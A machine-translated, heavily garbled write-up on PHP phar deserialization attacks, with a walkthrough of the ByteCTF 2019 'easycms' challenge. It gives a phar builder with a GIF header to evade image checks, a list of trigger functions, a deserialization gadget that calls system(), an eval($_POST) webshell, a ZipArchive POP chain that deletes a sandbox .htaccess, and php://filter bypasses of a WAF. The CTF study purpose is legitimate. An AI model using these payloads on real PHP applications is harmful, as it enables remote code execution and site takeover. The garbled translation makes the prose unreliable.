0x01の参照リンク
私の感謝の気持ちを表現するために、第一の基準リンクの内容のほとんどの解放
のリンクを
0x02のは原理を説明します
自然のPharは、このセクションに配置されたファイルのパーミッション、属性及び他の情報を圧縮されてそれぞれが圧縮されたファイルです。この部分は、ユーザー定義の列として保存されますmeta-data
攻撃場所の上述の方法の中核である、
構築するために私たち自身のファイル構造に応じてphar
、ファイルをphp
内蔵しPhar
、関連業務を処理するためのクラスを
注意:使用するにはオプション設定をあるいはphar形式のファイルを生成することはできません。php.ini
phar.readonly
Off
<?php
class TestObject {
//魔法函数(文件包含phar文件时会反序列化)
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>'); //设置stub,添加GIF头,可以绕过图片格式检查
$o = new TestObject();
$o -> data='hu3sky';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
以下の機能がしますphar
、デシリアライゼーションファイル
追加機能が見つかりました。
exif
exif_thumbnail
exif_imagetype
gd
imageloadfont
imagecreatefrom***
hash
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
file / url
get_meta_tags
get_headers
standard
getimagesize
getimagesizefromstringfinfo_file/finfo_buffer/mime_content_type
ジップ
$zip = new ZipArchive();
$res = $zip->open('c.zip'); //我们将phar压缩后,将压缩包的文件改为gif,此时仍然可以解压
$zip->extractTo('phar://test.phar/test');
ジップ
LOAD DATA LOCAL INFILE
これをトリガしますphp_stream_open_wrapper
。レッツ・テスト、それを
<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
再割り当てmysqld
[mysqld]
local-infile=1
secure_file_priv=""
pharのをバイパス://リミットヘッド
0x01の
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';
@file_get_contents($z);
0×02
@include('php://filter/read=convert.base64-encode/resource=phar://yunying.phar');
mime_content_type('php://filter/read=convert.base64-encode/resource=phar://yunying.phar')
0x03の再現性bytectf_2019_easycms
アクセスしようwww.zip
index.php
ランディングページを確認し、任意のアカウントにログインすることができますupload.php
アップロードページが、唯一のadmin
ファイルをアップロードするアカウント。- 訪問
upload.php
*、それはでサンドボックスが生成されます.htaccess
ファイルを、読み取ります。lolololol, i control all
- ファイルをアップロードした後、それは、ファイルへの保存パスに戻ります
view details
あなたが入力することができview.php
、エコーファイルのmime
種類やファイルパスを。 - ディレクトリがあるので
.htaccess
、コンテンツ書かれている、それは解決できないので、アクセスアップロードされたファイルは500に報告されます
攻撃を展開し0x01のハッシュ長(hashpump.py)
オブジェクトは、管理者のクラスからインスタンス化されています。フォロー管理
ハッシュ長を拡大する攻撃を確認し、それらを表示されません攻撃の具体的な方法は、Baiduのは、行をクリックしてください。
0x02のPharのポップ鎖構造
我々はPHPの馬が適切に解決することはできませんので、アップロードフォルダは、.htaccessの存在渡す長い知られていて、私たちは、.htaccessファイルを削除する方法を見つけます。
ただ、絵の馬をアップロードしようと
フィルタがある
2回のアイデア攻撃があるが、
- pharのデシリアライゼーションは、.htaccessファイルにsanbox制御をバイパスし、別のディレクトリにアップロードしますupload_file
- PHPの馬をアップロードする前に、その後、PHPは、削除の.htaccessファイルをデシリアライズ
我々は一時ファイルを格納するディレクトリを知らないので、あなただけの第二のアプローチを使用することができます。
私たちは、あるview.php参照File
カテゴリ、フォローアップFile
クラス
、既に述べた上では、mime_content_typeはphar形式のシリアル化を開始させることができます。
同時に、我々は魔法クラスプロファイル機能があることに注意してください__call
、我々はそれらのオープンクラスのメソッドを見つけなければならないので、オープン機能、および管理者、ユーザ名、パスワード制御を持っています。
(ZipArchive,SessionHandler)
利用できるZIPARCHIVE。
ZipArchive::open ( string $filename [, int $flags ] ) : mixed
これによりoverwrite
この方法は、直接削除できる.htaccess
ファイルの
ここでの注意はまたのような、非圧縮されたファイルを開くことができます.htaccess
我々は最初の馬をアップロード
<?php
$a = "sys"."tem";
eval($_POST["xxx"]);
?>
そして、 `のphar pop`攻撃チェーンを構築
<?php
class File{
public $filename;
public $filepath;
public $checker;
}
class Profile{
public $username;
public $password;
public $admin;
}
$a=new File();
$a->checker=new Profile();
$a->checker->admin=new ZipArchive();
$a->checker->username="/var/www/html/sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/.htaccess";
$a->checker->password=ZipArchive::OVERWRITE;
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($a);
$phar -> stopBuffering();
?>
叫んだ、アップロードのPharを濾過し、 `プロンプトあなたがme`をおびえさせる、` `しかし仕事ではないだろうpharの構造に損傷を与える可能性が削除した後を参照してくださいwinhex。次に置き換えるPHP 7.0は、完全に問題を解決するためにアップロードされます。私たちは、時代の流れについていく必要があります。自分の食事ストームハンマー
php://filter
トリガーWAFに検出をバイパスphar
view.php?filename=9c7f4a2fbf2dd3dfb7051727a644d99f.phar&filepath=php://filter/resource=phar://sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/9c7f4a2fbf2dd3dfb7051727a644d99f.phar
正常に削除.htaccess